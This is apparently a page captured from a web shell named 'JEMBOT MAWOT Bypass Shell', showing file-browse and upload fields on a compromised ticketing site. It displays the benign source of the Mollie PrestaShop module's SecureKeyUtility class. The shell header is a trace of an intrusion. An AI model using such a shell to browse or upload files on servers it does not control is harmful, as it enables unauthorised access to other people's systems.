JEMBOT MAWOT Bypass Shell

Current Path : /home/cinepatreb/billetterie/modules/mollie/src/Utility/
Upload File :
Current File : /home/cinepatreb/billetterie/modules/mollie/src/Utility/SecureKeyUtility.php

<?php
/**
 * Mollie       https://www.mollie.nl
 *
 * @author      Mollie B.V. <info@mollie.nl>
 * @copyright   Mollie B.V.
 * @license     https://github.com/mollie/PrestaShop/blob/master/LICENSE.md
 *
 * @see        https://github.com/mollie/PrestaShop
 * @codingStandardsIgnoreStart
 */

namespace Mollie\Utility;

if (!defined('_PS_VERSION_')) {
    exit;
}

class SecureKeyUtility
{
    public static function generateReturnKey($customerId, $cartId, $moduleName)
    {
        return HashUtility::hash($customerId . $cartId . $moduleName);
    }

    //todo: remove it after few releases
    public static function deprecatedGenerateReturnKey($secureKey, $customerId, $cartId, $moduleName)
    {
        return HashUtility::hash($secureKey . $customerId . $cartId . $moduleName);
    }
}

xxxxx1.0, XXX xxxx